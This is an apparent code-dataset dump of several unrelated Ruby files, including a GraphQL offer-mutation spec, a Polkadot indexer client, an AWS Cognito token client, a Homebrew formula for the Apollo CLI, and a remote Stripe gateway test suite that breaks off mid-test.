hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
4a38350569bab7877b9aba589e7eef0889982143 | 7,708 | require 'rails_helper'
require 'support/gravity_helper'
describe Api::GraphqlController, type: :request do
describe 'buyer_counter_offer mutation' do
include_context 'GraphQL Client'
let(:order_seller_id) { jwt_partner_ids.first }
let(:buyer_id) { jwt_user_id }
let(:artwork_location) { { country: 'US' } }
let(:artwork) { { _id: 'a-1', current_version_id: '1', location: artwork_location, domestic_shipping_fee_cents: 1000 } }
let(:order_state) { Order::SUBMITTED }
let!(:order) { Fabricate(:order, mode: Order::OFFER, state: order_state, seller_id: order_seller_id, buyer_id: buyer_id, items_total_cents: 421, **shipping_info) }
let!(:seller_offer) { Fabricate(:offer, order: order, amount_cents: 10000, from_id: order_seller_id, from_type: 'gallery', submitted_at: Time.now.utc) }
let(:line_item_artwork_version) { artwork[:current_version_id] }
let!(:line_item) { Fabricate(:line_item, order: order, list_price_cents: 2000_00, artwork_id: artwork[:_id], artwork_version_id: line_item_artwork_version, quantity: 2) }
let(:partner_address) do
Address.new(
street_line1: '401 Broadway',
country: 'US',
city: 'New York',
region: 'NY',
postal_code: '10013'
)
end
let(:shipping_info) do
{
shipping_name: 'Fname Lname',
shipping_address_line1: '12 Vanak St',
shipping_address_line2: 'P 80',
shipping_city: 'New York',
shipping_postal_code: '02198',
buyer_phone_number: '00123456',
shipping_region: 'NY',
shipping_country: 'US',
fulfillment_type: Order::SHIP
}
end
let(:taxjar_client) { double }
let(:tax_response) { double(amount_to_collect: 3.00) }
let(:mutation) do
<<-GRAPHQL
mutation($input: BuyerCounterOfferInput!) {
buyerCounterOffer(input: $input) {
orderOrError {
... on OrderWithMutationSuccess {
order {
id
state
... on OfferOrder {
myLastOffer {
id
amountCents
respondsTo {
id
}
}
}
}
}
... on OrderWithMutationFailure {
error {
code
data
type
}
}
}
}
}
GRAPHQL
end
let(:buyer_counter_offer_input) do
{
input: {
offerId: seller_offer.id.to_s,
amountCents: 10000
}
}
end
before do
order.update!(last_offer: seller_offer)
allow(Gravity).to receive(:fetch_partner_locations).with(order_seller_id, tax_only: true).and_return([partner_address])
allow(Gravity).to receive(:get_artwork).and_return(artwork)
allow(Taxjar::Client).to receive(:new).with(api_key: Rails.application.config_for(:taxjar)['taxjar_api_key'], api_url: nil).and_return(taxjar_client)
allow(taxjar_client).to receive(:tax_for_order).with(any_args).and_return(tax_response)
end
context 'when not in the submitted state' do
let(:order_state) { Order::PENDING }
it "returns invalid state transition error and doesn't change the order state" do
response = client.execute(mutation, buyer_counter_offer_input)
expect(response.data.buyer_counter_offer.order_or_error.error.type).to eq 'validation'
expect(response.data.buyer_counter_offer.order_or_error.error.code).to eq 'invalid_state'
expect(order.reload.state).to eq Order::PENDING
end
end
context 'when attempting to counter not-the-last-offer' do
it 'returns a validation error and does not change the order state' do
create_another_offer(from_id: order.seller_id, from_type: order.seller_type)
response = client.execute(mutation, buyer_counter_offer_input)
expect(response.data.buyer_counter_offer.order_or_error.error.type).to eq 'validation'
expect(response.data.buyer_counter_offer.order_or_error.error.code).to eq 'not_last_offer'
expect(order.reload.state).to eq Order::SUBMITTED
end
end
context 'with user without permission to order' do
let(:buyer_id) { 'another-user-id' }
it 'returns permission error' do
response = client.execute(mutation, buyer_counter_offer_input)
expect(response.data.buyer_counter_offer.order_or_error.error.type).to eq 'validation'
expect(response.data.buyer_counter_offer.order_or_error.error.code).to eq 'not_found'
expect(order.reload.state).to eq Order::SUBMITTED
end
end
context 'when the specified offer does not exist' do
let(:buyer_counter_offer_input) do
{
input: {
offerId: '-1',
amountCents: 20000
}
}
end
it 'returns a not-found error' do
expect { client.execute(mutation, buyer_counter_offer_input) }.to raise_error do |error|
expect(error.status_code).to eq(404)
end
end
end
context 'when not waiting for buyer response' do
before do
seller_offer.update!(from_id: order.buyer_id, from_type: order.buyer_type)
end
it 'returns cannot_counter' do
response = client.execute(mutation, buyer_counter_offer_input)
expect(response.data.buyer_counter_offer.order_or_error.error.type).to eq 'validation'
expect(response.data.buyer_counter_offer.order_or_error.error.code).to eq 'cannot_counter'
end
end
context 'with proper permission' do
before do
allow(Adapters::GravityV1).to receive(:get).with("/partner/#{order_seller_id}/all").and_return(gravity_v1_partner)
end
it 'counters the order' do
expect do
client.execute(mutation, buyer_counter_offer_input)
last_pending_offer = order.offers.where(from_id: jwt_user_id).order(created_at: :desc).first
expect(last_pending_offer.responds_to).to eq(seller_offer)
expect(last_pending_offer.amount_cents).to eq(10000)
expect(last_pending_offer.tax_total_cents).to eq(300)
expect(last_pending_offer.should_remit_sales_tax).to eq(false)
expect(last_pending_offer.amount_cents).to eq(10000)
expect(last_pending_offer.submitted_at).to eq(nil)
expect(last_pending_offer.creator_id).to eq(jwt_user_id)
expect(last_pending_offer.from_id).to eq(jwt_user_id)
expect(last_pending_offer.from_type).to eq(Order::USER)
# shouldn't update order amounts until offer is submitted
expect(order.reload.items_total_cents).to eq(421)
end.to change { order.reload.offers.count }.from(1).to(2)
end
context 'with offer note' do
let(:note) { "I'll double my offer." }
let(:buyer_counter_offer_input) do
{
input: {
offerId: seller_offer.id.to_s,
amountCents: 10000,
note: note
}
}
end
it 'counters the order with note' do
client.execute(mutation, buyer_counter_offer_input)
last_pending_offer = order.offers.where(from_id: jwt_user_id).order(created_at: :desc).first
expect(last_pending_offer.note).to eq(note)
end
end
end
end
def create_another_offer(from_id:, from_type:)
another_offer = Fabricate(:offer, order: order, from_id: from_id, from_type: from_type)
order.update!(last_offer: another_offer)
end
end
| 38.348259 | 174 | 0.638168 |
18aa96db4fe089cfd40d8155842310694fd251b4 | 673 | class DropAccessControlEntry < ActiveRecord::Migration[5.2]
def change
drop_table :access_control_entries do |t|
t.string "group_uuid"
t.bigint "tenant_id"
t.string "permission"
t.string "aceable_type"
t.bigint "aceable_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["aceable_type", "aceable_id"], name: "index_access_control_entries_on_aceable_type_and_aceable_id"
t.index ["group_uuid", "permission", "aceable_type"], name: "index_ace_on_group_uuid_aceable_type_permission"
t.index ["tenant_id"], name: "index_access_control_entries_on_tenant_id"
end
end
end
| 39.588235 | 115 | 0.720654 |
1a2bde309a0986957713c74cfafe3328c0682090 | 62 | # return: Integer
# params: Integer
def main(a)
a << 2
end
| 8.857143 | 17 | 0.629032 |
bbe21a678768223d149df8a1293109e76d94b389 | 4,762 | =begin
#OpenAPI Extension with dynamic servers
#This specification shows how to use dynamic servers.
The version of the OpenAPI document: 1.0.0
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 5.0.0-beta3
=end
# load the gem
require 'dynamic_servers'
# The following was generated by the `rspec --init` command. Conventionally, all
# specs live under a `spec` directory, which RSpec adds to the `$LOAD_PATH`.
# The generated `.rspec` file contains `--require spec_helper` which will cause
# this file to always be loaded, without a need to explicitly require it in any
# files.
#
# Given that it is always loaded, you are encouraged to keep this file as
# light-weight as possible. Requiring heavyweight dependencies from this file
# will add to the boot time of your test suite on EVERY test run, even for an
# individual file that may not need all of that loaded. Instead, consider making
# a separate helper file that requires the additional dependencies and performs
# the additional setup, and require it from the spec files that actually need
# it.
#
# The `.rspec` file also contains a few flags that are not defaults but that
# users commonly want.
#
# See http://rubydoc.info/gems/rspec-core/RSpec/Core/Configuration
RSpec.configure do |config|
# rspec-expectations config goes here. You can use an alternate
# assertion/expectation library such as wrong or the stdlib/minitest
# assertions if you prefer.
config.expect_with :rspec do |expectations|
# This option will default to `true` in RSpec 4. It makes the `description`
# and `failure_message` of custom matchers include text for helper methods
# defined using `chain`, e.g.:
# be_bigger_than(2).and_smaller_than(4).description
# # => "be bigger than 2 and smaller than 4"
# ...rather than:
# # => "be bigger than 2"
expectations.include_chain_clauses_in_custom_matcher_descriptions = true
end
# rspec-mocks config goes here. You can use an alternate test double
# library (such as bogus or mocha) by changing the `mock_with` option here.
config.mock_with :rspec do |mocks|
# Prevents you from mocking or stubbing a method that does not exist on
# a real object. This is generally recommended, and will default to
# `true` in RSpec 4.
mocks.verify_partial_doubles = true
end
# The settings below are suggested to provide a good initial experience
# with RSpec, but feel free to customize to your heart's content.
=begin
# These two settings work together to allow you to limit a spec run
# to individual examples or groups you care about by tagging them with
# `:focus` metadata. When nothing is tagged with `:focus`, all examples
# get run.
config.filter_run :focus
config.run_all_when_everything_filtered = true
# Allows RSpec to persist some state between runs in order to support
# the `--only-failures` and `--next-failure` CLI options. We recommend
# you configure your source control system to ignore this file.
config.example_status_persistence_file_path = "spec/examples.txt"
# Limits the available syntax to the non-monkey patched syntax that is
# recommended. For more details, see:
# - http://rspec.info/blog/2012/06/rspecs-new-expectation-syntax/
# - http://www.teaisaweso.me/blog/2013/05/27/rspecs-new-message-expectation-syntax/
# - http://rspec.info/blog/2014/05/notable-changes-in-rspec-3/#zero-monkey-patching-mode
config.disable_monkey_patching!
# This setting enables warnings. It's recommended, but in some cases may
# be too noisy due to issues in dependencies.
config.warnings = true
# Many RSpec users commonly either run the entire suite or an individual
# file, and it's useful to allow more verbose output when running an
# individual spec file.
if config.files_to_run.one?
# Use the documentation formatter for detailed output,
# unless a formatter has already been configured
# (e.g. via a command-line flag).
config.default_formatter = 'doc'
end
# Print the 10 slowest examples and example groups at the
# end of the spec run, to help surface which specs are running
# particularly slow.
config.profile_examples = 10
# Run specs in random order to surface order dependencies. If you find an
# order dependency and want to debug it, you can fix the order by providing
# the seed, which is printed after each run.
# --seed 1234
config.order = :random
# Seed global randomization in this process using the `--seed` CLI option.
# Setting this allows you to use `--seed` to deterministically reproduce
# test failures related to randomization by passing the same `--seed` value
# as the one that triggered the failure.
Kernel.srand config.seed
=end
end
| 42.517857 | 92 | 0.743385 |
bf2ecf95fd66ff329395f066b4b579ac881444a8 | 1,387 | module Pageflow
module AudioFilesHelper
def audio_file_audio_tag(audio_file_id, options = {})
options.merge!(class: ['audio-js', options.delete(:class)].compact * ' ',
controls: true,
preload: 'none')
url_options = {unique_id: options.delete(:unique_id)}
if (audio_file = AudioFile.find_by_id(audio_file_id))
content_tag(:audio, options) do
audio_file_sources(audio_file, url_options).each do |source|
concat(tag(:source, source.slice(:src, :type)))
end
end
end
end
def audio_file_script_tag(audio_file_id, options = {})
if (audio_file = AudioFile.find_by_id(audio_file_id))
render('pageflow/audio_files/script_tag',
audio_file: audio_file,
audio_file_sources: audio_file_sources(audio_file, options))
end
end
def audio_file_non_js_link(entry, audio_file_id)
if (audio_file = AudioFile.find_by_id(audio_file_id))
link_to(t('pageflow.audio.open'), short_audio_file_path(entry, audio_file))
end
end
def audio_file_sources(audio_file, options = {})
[
{type: 'audio/ogg', src: audio_file.ogg.url(options)},
{type: 'audio/mp4', src: audio_file.m4a.url(options)},
{type: 'audio/mpeg', src: audio_file.mp3.url(options)}
]
end
end
end
| 33.829268 | 83 | 0.631579 |
5da5af6b5ef8e2c44891173d62a6f08490180c14 | 6,209 | module Polkadot
class Client < Common::IndexerClient
DEFAULT_TIMEOUT = 10
DEFAULT_DAYS_LIMIT = 89
DEFAULT_HOURS_LIMIT = 24
DEFAULT_SESSIONS_LIMIT = 1
DEFAULT_ERAS_LIMIT = 1
def status
@status ||= Polkadot::Status.new(get('/status'))
rescue Common::IndexerClient::Error
Polkadot::Status.failed
end
def account(address)
Polkadot::Account.new(get("/account/#{address}"))
end
def account_details(address)
Rails.cache.fetch([self.class.name, 'account_details', address].join('-'), expires_in: SHORT_EXPIRY_TIME) do
raw_account_details = get("/account_details/#{address}")
Polkadot::AccountDetails.new(raw_account_details.merge(raw_account_details['account']))
end
end
def prime_rewards(prime_account)
Rails.cache.fetch([self.class.name, 'rewards', prime_account.address].join('-'), expires_in: MEDIUM_EXPIRY_TIME) do
token_factor = prime_account.network.primary.reward_token_factor
token_display = prime_account.network.primary.reward_token_display
list = get("/rewards/#{prime_account.address}") || []
list.map do |reward|
Prime::Reward::Polkadot.new(reward, prime_account, token_factor: token_factor, token_display: token_display)
end
end
end
def block(height)
Rails.cache.fetch([self.class.name, 'block', height].join('-'), expires_in: MEDIUM_EXPIRY_TIME) do
Polkadot::Block.new(get('/block', height: height))
end
end
def block_times(limit = nil)
get("/block_times/#{limit}")['avg']
end
def transactions(height)
block(height).transactions
end
def transaction(height, transaction_id)
transactions(height).find { |transaction| transaction.hash == transaction_id }
end
def validators(height = DEFAULT_LATEST_HEIGHT, sessions_height = height)
@validators ||= Polkadot::ValidatorsFetcher.new(self).perform(height, sessions_height)
end
def validators_daily_stake(days_limit = DEFAULT_DAYS_LIMIT)
Rails.cache.fetch([self.class.name, 'validators_daily_stake', days_limit].join('-'), expires_in: SHORT_EXPIRY_TIME) do
validators_summary(params: { interval: 'day', period: "#{days_limit} days" }, resource_class: Polkadot::ValidatorsSummary)
end
end
def validator_daily_stake(address, days_limit = DEFAULT_DAYS_LIMIT)
validators_summary(params: { stash_account: address, interval: 'day', period: "#{days_limit} days" }, resource_class: Polkadot::ValidatorSummary)
end
def validator_hourly_uptime(address, hours_limit = DEFAULT_HOURS_LIMIT)
validators_summary(params: { stash_account: address, interval: 'hour', period: "#{hours_limit} hours" }, resource_class: Polkadot::ValidatorSummary)
end
def validators_uptime(height = DEFAULT_LATEST_HEIGHT)
Rails.cache.fetch([self.class.name, 'validators_uptime', height].join('-'), expires_in: MEDIUM_EXPIRY_TIME) do
get("/validators/for_min_height/#{height}")['items']
end
end
def validators_by_height(height = DEFAULT_LATEST_HEIGHT)
Rails.cache.fetch([self.class.name, 'validators_by_height', height].join('-'), expires_in: MEDIUM_EXPIRY_TIME) do
get('/validators', height: height)
end
end
def validator(stash_account, network: nil)
Polkadot::ValidatorFetcher.new(self).perform(stash_account, network: network)
end
def validator_details(stash_account)
get("/validator/#{stash_account}", sessions_limit: DEFAULT_SESSIONS_LIMIT, eras_limit: DEFAULT_ERAS_LIMIT)
end
def validators_count
Rails.cache.fetch([self.class.name, 'validators_count'].join('-'), expires_in: MEDIUM_EXPIRY_TIME) do
validators_uptime(status.indexed_validators_height).count
end
end
def validator_events(chain:, address:, types: nil, start_date: nil, end_date: nil, start_block: nil)
raw_events = get("/system_events/#{address}", after: start_block)['items'] || []
events = raw_events.map { |event| Polkadot::EventFactory.generate(event, chain) }
events.select! { |event| types.include?(event.kind_class) } if types.present?
events.select! { |event| event.time >= Time.zone.parse(start_date) } if start_date.present?
events.select! { |event| event.time <= Time.zone.parse(end_date).end_of_day } if end_date.present?
events.sort_by(&:time).reverse
end
def get_alertable_name(address)
validator = validator(address)
validator.display_name.presence || validator.address
end
def get_recent_events(chain, address, klass, time_ago)
all_events = retrieve_events(chain, address, Time.now - time_ago)
all_events.select { |e| e.time >= time_ago && klass == "Common::ValidatorEvents::#{e.kind_class.classify}".constantize }
end
def get_events_for_alert(chain, subscription, seconds_ago, date = nil)
all_events = retrieve_events(chain, subscription.alertable.address, seconds_ago)
# filter out events prior to last alert time
if !date
filtered_events = all_events.select { |e| e.time > subscription.last_instant_at }
else
filtered_events = all_events.select do |e|
e.time >= date.beginning_of_day && e.time <= date.end_of_day
end
end
end
private
def validators_summary(params:, resource_class: Polkadot::ValidatorSummary)
validators_summary = get('/validators_summary', params)
all_summaries = validators_summary['items'].map do |summary|
resource_class.new(summary.merge('validators_count' => validators_count))
end
last_indexed_era_time = Time.zone.parse(validators_summary['last_indexed_era']['time'])
all_summaries.select { |summary| summary.indexing_completed?(last_indexed_era_time) }
end
def retrieve_events(chain, address, seconds_ago)
# get events from twice the supplied timeframe to ensure all unsent events are picked up
blocks_back = (seconds_ago * 2) / block_times(1000)
start_block = (status.last_block_height - blocks_back).round.to_i
validator_events(chain: chain, address: address, start_block: start_block)
end
end
end
| 41.393333 | 154 | 0.705589 |
1841aea252c691b80b5bce028a836c591359aff1 | 1,182 | require "language/node"
class ApolloCli < Formula
desc "Command-line tool for Apollo GraphQL"
homepage "https://apollographql.com"
url "https://registry.npmjs.org/apollo/-/apollo-2.30.3.tgz"
sha256 "b47fc4f45e15ada032fc9e87fb51ea2e03213707eaad7780b337bd6105200e3b"
license "MIT"
livecheck do
url :stable
end
bottle do
cellar :any_skip_relocation
sha256 "8123c73f093ea20c6ac52641e3417f37df7eda88edacad3ba15f6bc8387b8f8f" => :catalina
sha256 "7dc749bd8b0fb0c85fdb728e0fab73d7afc52f8ea23bfab82500ed0c7ae0094b" => :mojave
sha256 "d8af3ee1a3818163625c7c5508830cad9dd4f41103220e17ab87fbe95f0772bf" => :high_sierra
end
depends_on "node"
def install
system "npm", "install", *Language::Node.std_npm_install_args(libexec)
bin.install_symlink Dir["#{libexec}/bin/*"]
end
test do
assert_match "apollo/#{version}", shell_output("#{bin}/apollo --version")
assert_match "Missing required flag:", shell_output("#{bin}/apollo codegen:generate 2>&1", 2)
error_output = shell_output("#{bin}/apollo codegen:generate --target typescript 2>&1", 2)
assert_match "Error: No schema provider was created", error_output
end
end
| 31.945946 | 97 | 0.753807 |
38723ad6fd771470c74aa29ce5cef43346624106 | 2,341 | require "cognito_jwt_keys"
require "cognito_pool_tokens"
require "cognito_urls"
class CognitoClient
def initialize(params = {})
@pool_id = params[:pool_id] || ENV['AWS_COGNITO_POOL_ID']
@client_id = params[:client_id] || ENV['AWS_COGNITO_APP_CLIENT_ID']
@client_secret = params[:client_secret] || ENV['AWS_COGNITO_APP_CLIENT_SECRET']
@redirect_uri = params[:redirect_uri]
end
def force_https(url)
uri = URI.parse(url)
uri.scheme = "https"
uri.to_s
end
def get_pool_tokens(authorization_code)
if Rails.env == 'production'
@redirect_uri = force_https(@redirect_uri)
end
params = {
grant_type: 'authorization_code',
code: authorization_code,
client_id: @client_id,
redirect_uri: @redirect_uri
}
resp = Excon.post(token_uri,
:user => @client_id,
:password => @client_secret,
:body => URI.encode_www_form(params),
:headers => { "Content-Type" => "application/x-www-form-urlencoded"})
unless resp.status == 200
puts resp.inspect
Rails.logger.warn("Invalid code: #{authorization_code}: #{resp.body}")
return nil
end
CognitoPoolTokens.new(CognitoJwtKeysProvider.keys, JSON.parse(resp.body))
end
# From: https://medium.com/tensult/how-to-refresh-aws-cognito-user-pool-tokens-d0e025cedd52
def refresh_id_token(refresh_token)
params = {
ClientId: @client_id,
AuthFlow: 'REFRESH_TOKEN_AUTH',
AuthParameters: {
REFRESH_TOKEN: refresh_token,
SECRET_HASH: @client_secret
}
}
hdrs = {
"X-Amz-Target": "AWSCognitoIdentityProviderService.InitiateAuth",
"Content-Type": "application/x-amz-json-1.1"
}
resp = Excon.post(CognitoUrls.refresh_token_uri,
:headers => hdrs,
:body => params.to_json)
if resp.status != 200
return nil
end
json = JSON.parse(resp.body)
# Key names are different here, so need to translate :-/
tokens = {
'id_token' => json['AuthenticationResult']['IdToken'],
'access_token' => json['AuthenticationResult']['AccessToken']
}
CognitoPoolTokens.new(CognitoJwtKeysProvider.keys, tokens)
end
private
def token_uri
CognitoUrls.token_uri
end
end
| 27.22093 | 93 | 0.63947 |
2864734a0e5aa39132d70ffd023872c4c492c7a4 | 23,634 | require 'test_helper'
class RemoteStripeTest < Test::Unit::TestCase
CHARGE_ID_REGEX = /ch_[a-zA-Z\d]+/
def setup
@gateway = StripeGateway.new(fixtures(:stripe))
@currency = fixtures(:stripe)["currency"]
@amount = 100
@credit_card = credit_card('4242424242424242')
@declined_card = credit_card('4000000000000002')
@new_credit_card = credit_card('5105105105105100')
@emv_credit_cards = {
uk: ActiveMerchant::Billing::CreditCard.new(icc_data: '500B56495341204352454449545F201A56495341204143515549524552205445535420434152442030315F24031512315F280208405F2A0208265F300202015F34010182025C008407A0000000031010950502000080009A031408259B02E8009C01009F02060000000734499F03060000000000009F0607A00000000310109F0902008C9F100706010A03A080009F120F4352454449544F20444520564953419F1A0208269F1C0831373030303437309F1E0831373030303437309F2608EB2EC0F472BEA0A49F2701809F3303E0B8C89F34031E03009F3501229F360200C39F37040A27296F9F4104000001319F4502DAC5DFAE5711476173FFFFFF0119D15122011758989389DFAE5A08476173FFFFFF011957114761739001010119D151220117589893895A084761739001010119'),
us: ActiveMerchant::Billing::CreditCard.new(icc_data: '50074D41455354524F571167999989000018123D25122200835506065A0967999989000018123F5F20134D54495032362D204D41455354524F203132415F24032512315F280200565F2A0208405F300202205F340101820278008407A0000000043060950500000080009A031504219B02E8009C01009F02060000000010009F03060000000000009F0607A00000000430609F090200029F10120210A7800F040000000000000000000000FF9F12074D61657374726F9F1A0208409F1C0831303030333331369F1E0831303030333331369F2608460245B808BCA1369F2701809F3303E0B8C89F34034403029F3501229F360200279F3704EA2C3A7A9F410400000094DF280104DFAE5711679999FFFFFFF8123D2512220083550606DFAE5A09679999FFFFFFF8123F')
}
@options = {
:currency => @currency,
:description => 'ActiveMerchant Test Purchase',
:email => '[email protected]'
}
@apple_pay_payment_token = apple_pay_payment_token
end
def test_dump_transcript
skip("Transcript scrubbing for this gateway has been tested.")
dump_transcript_and_fail(@gateway, @amount, @credit_card, @options)
end
def test_transcript_scrubbing
transcript = capture_transcript(@gateway) do
@gateway.purchase(@amount, @credit_card, @options)
end
transcript = @gateway.scrub(transcript)
assert_scrubbed(@credit_card.number, transcript)
assert_scrubbed(@credit_card.verification_value, transcript)
assert_scrubbed(@gateway.options[:login], transcript)
end
def test_successful_purchase
assert response = @gateway.purchase(@amount, @credit_card, @options)
assert_success response
assert_equal "charge", response.params["object"]
assert response.params["paid"]
assert_equal "ActiveMerchant Test Purchase", response.params["description"]
assert_equal "[email protected]", response.params["metadata"]["email"]
end
# for EMV contact transactions, it's advised to do a separate auth + capture
# to satisfy the EMV chip's transaction flow, but this works as a legal
# API call. You shouldn't use it in a real EMV implementation, though.
def test_successful_purchase_with_emv_credit_card_in_uk
@gateway = StripeGateway.new(fixtures(:stripe_emv_uk))
assert response = @gateway.purchase(@amount, @emv_credit_cards[:uk], @options)
assert_success response
assert_equal "charge", response.params["object"]
assert response.params["paid"]
assert_match CHARGE_ID_REGEX, response.authorization
end
# perform separate auth & capture rather than a purchase in practice for the
# reasons mentioned above.
def test_successful_purchase_with_emv_credit_card_in_us
@gateway = StripeGateway.new(fixtures(:stripe_emv_us))
assert response = @gateway.purchase(@amount, @emv_credit_cards[:us], @options)
assert_success response
assert_equal "charge", response.params["object"]
assert response.params["paid"]
assert_match CHARGE_ID_REGEX, response.authorization
end
def test_successful_purchase_with_apple_pay_payment_token
assert response = @gateway.purchase(@amount, @apple_pay_payment_token, @options)
assert_success response
assert_equal "charge", response.params["object"]
assert response.params["paid"]
assert_equal "ActiveMerchant Test Purchase", response.params["description"]
assert_equal "[email protected]", response.params["metadata"]["email"]
assert_match CHARGE_ID_REGEX, response.authorization
end
def test_successful_purchase_with_recurring_flag
custom_options = @options.merge(:eci => 'recurring')
assert response = @gateway.purchase(@amount, @credit_card, custom_options)
assert_success response
assert_equal "charge", response.params["object"]
assert response.params["paid"]
assert_equal "ActiveMerchant Test Purchase", response.params["description"]
assert_equal "[email protected]", response.params["metadata"]["email"]
end
def test_unsuccessful_purchase
assert response = @gateway.purchase(@amount, @declined_card, @options)
assert_failure response
assert_match %r{Your card was declined}, response.message
assert_match Gateway::STANDARD_ERROR_CODE[:card_declined], response.error_code
assert_match CHARGE_ID_REGEX, response.authorization
end
def test_authorization_and_capture
assert authorization = @gateway.authorize(@amount, @credit_card, @options)
assert_success authorization
refute authorization.params["captured"]
assert_equal "ActiveMerchant Test Purchase", authorization.params["description"]
assert_equal "[email protected]", authorization.params["metadata"]["email"]
assert capture = @gateway.capture(@amount, authorization.authorization)
assert_success capture
end
def test_authorization_and_capture_with_emv_credit_card_in_uk
@gateway = StripeGateway.new(fixtures(:stripe_emv_uk))
assert authorization = @gateway.authorize(@amount, @emv_credit_cards[:uk], @options)
assert_success authorization
assert authorization.emv_authorization, "Authorization should contain emv_authorization containing the EMV ARPC"
refute authorization.params["captured"]
assert capture = @gateway.capture(@amount, authorization.authorization)
assert_success capture
assert capture.emv_authorization, "Capture should contain emv_authorization containing the EMV TC"
end
def test_authorization_and_capture_with_emv_credit_card_in_us
@gateway = StripeGateway.new(fixtures(:stripe_emv_us))
assert authorization = @gateway.authorize(@amount, @emv_credit_cards[:us], @options)
assert_success authorization
assert authorization.emv_authorization, "Authorization should contain emv_authorization containing the EMV ARPC"
refute authorization.params["captured"]
assert capture = @gateway.capture(@amount, authorization.authorization)
assert_success capture
assert capture.emv_authorization, "Capture should contain emv_authorization containing the EMV TC"
end
def test_authorization_and_capture_with_apple_pay_payment_token
assert authorization = @gateway.authorize(@amount, @apple_pay_payment_token, @options)
assert_success authorization
refute authorization.params["captured"]
assert_equal "ActiveMerchant Test Purchase", authorization.params["description"]
assert_equal "[email protected]", authorization.params["metadata"]["email"]
assert capture = @gateway.capture(@amount, authorization.authorization)
assert_success capture
end
def test_authorization_and_void
assert authorization = @gateway.authorize(@amount, @credit_card, @options)
assert_success authorization
refute authorization.params["captured"]
assert void = @gateway.void(authorization.authorization)
assert_success void
end
def test_authorization_and_void_with_emv_credit_card_in_us
@gateway = StripeGateway.new(fixtures(:stripe_emv_us))
assert authorization = @gateway.authorize(@amount, @emv_credit_cards[:us], @options)
assert_success authorization
assert authorization.emv_authorization, "Authorization should contain emv_authorization containing the EMV ARPC"
refute authorization.params["captured"]
assert void = @gateway.void(authorization.authorization)
assert_success void
end
def test_authorization_and_void_with_emv_credit_card_in_uk
@gateway = StripeGateway.new(fixtures(:stripe_emv_uk))
assert authorization = @gateway.authorize(@amount, @emv_credit_cards[:uk], @options)
assert_success authorization
assert authorization.emv_authorization, "Authorization should contain emv_authorization containing the EMV ARPC"
refute authorization.params["captured"]
assert void = @gateway.void(authorization.authorization)
assert_success void
end
def test_authorization_and_void_with_apple_pay_payment_token
assert authorization = @gateway.authorize(@amount, @apple_pay_payment_token, @options)
assert_success authorization
refute authorization.params["captured"]
assert void = @gateway.void(authorization.authorization)
assert_success void
end
def test_successful_void
assert response = @gateway.purchase(@amount, @credit_card, @options)
assert_success response
assert response.authorization
assert void = @gateway.void(response.authorization)
assert_success void
end
def test_successful_void_with_apple_pay_payment_token
assert response = @gateway.purchase(@amount, @apple_pay_payment_token, @options)
assert_success response
assert response.authorization
assert void = @gateway.void(response.authorization)
assert_success void
end
def test_unsuccessful_void
assert void = @gateway.void("active_merchant_fake_charge")
assert_failure void
assert_match %r{active_merchant_fake_charge}, void.message
end
def test_successful_refund
assert response = @gateway.purchase(@amount, @credit_card, @options)
assert_success response
assert response.authorization
assert void = @gateway.refund(@amount - 20, response.authorization)
assert_success void
end
def test_unsuccessful_refund
assert refund = @gateway.refund(@amount, "active_merchant_fake_charge")
assert_failure refund
assert_match %r{active_merchant_fake_charge}, refund.message
end
def test_successful_verify
assert response = @gateway.verify(@credit_card, @options)
assert_success response
assert_equal "Transaction approved", response.message
assert_equal "[email protected]", response.params["metadata"]["email"]
assert_equal "charge", response.params["object"]
assert_success response.responses.last, "The void should succeed"
assert response.responses.last.params["refunded"]
end
def test_unsuccessful_verify
assert response = @gateway.verify(@declined_card, @options)
assert_failure response
assert_match %r{Your card was declined}, response.message
end
def test_successful_store
assert response = @gateway.store(@credit_card, {:currency => @currency, :description => "Active Merchant Test Customer", :email => "[email protected]"})
assert_success response
assert_equal "customer", response.params["object"]
assert_equal "Active Merchant Test Customer", response.params["description"]
assert_equal "[email protected]", response.params["email"]
first_card = response.params["cards"]["data"].first
assert_equal response.params["default_card"], first_card["id"]
assert_equal @credit_card.last_digits, first_card["last4"]
end
def test_successful_store_with_apple_pay_payment_token
assert response = @gateway.store(@apple_pay_payment_token, {:currency => @currency, :description => "Active Merchant Test Customer", :email => "[email protected]"})
assert_success response
assert_equal "customer", response.params["object"]
assert_equal "Active Merchant Test Customer", response.params["description"]
assert_equal "[email protected]", response.params["email"]
first_card = response.params["cards"]["data"].first
assert_equal response.params["default_card"], first_card["id"]
assert_equal "4242", first_card["dynamic_last4"] # when stripe is in test mode, token exchanged will return a test card with dynamic_last4 4242
assert_equal "0000", first_card["last4"] # last4 is 0000 when using an apple pay token
end
def test_successful_store_with_existing_customer
assert response = @gateway.store(@credit_card, {:currency => @currency, :description => "Active Merchant Test Customer"})
assert_success response
assert response = @gateway.store(@new_credit_card, {:customer => response.params['id'], :currency => @currency, :description => "Active Merchant Test Customer", :email => "[email protected]"})
assert_success response
assert_equal 2, response.responses.size
card_response = response.responses[0]
assert_equal "card", card_response.params["object"]
assert_equal @new_credit_card.last_digits, card_response.params["last4"]
customer_response = response.responses[1]
assert_equal "customer", customer_response.params["object"]
assert_equal "Active Merchant Test Customer", customer_response.params["description"]
assert_equal "[email protected]", customer_response.params["email"]
assert_equal 2, customer_response.params["cards"]["count"]
end
def test_successful_store_with_existing_customer_and_apple_pay_payment_token
assert response = @gateway.store(@credit_card, {:currency => @currency, :description => "Active Merchant Test Customer"})
assert_success response
assert response = @gateway.store(@apple_pay_payment_token, {:customer => response.params['id'], :currency => @currency, :description => "Active Merchant Test Customer", :email => "[email protected]"})
assert_success response
assert_equal 2, response.responses.size
card_response = response.responses[0]
assert_equal "card", card_response.params["object"]
assert_equal "4242", card_response.params["dynamic_last4"] # when stripe is in test mode, token exchanged will return a test card with dynamic_last4 4242
assert_equal "0000", card_response.params["last4"] # last4 is 0000 when using an apple pay token
customer_response = response.responses[1]
assert_equal "customer", customer_response.params["object"]
assert_equal "Active Merchant Test Customer", customer_response.params["description"]
assert_equal "[email protected]", customer_response.params["email"]
assert_equal 2, customer_response.params["cards"]["count"]
end
def test_successful_unstore
creation = @gateway.store(@credit_card, {:description => "Active Merchant Unstore Customer"})
customer_id = creation.params['id']
card_id = creation.params['cards']['data'].first['id']
# Unstore the card
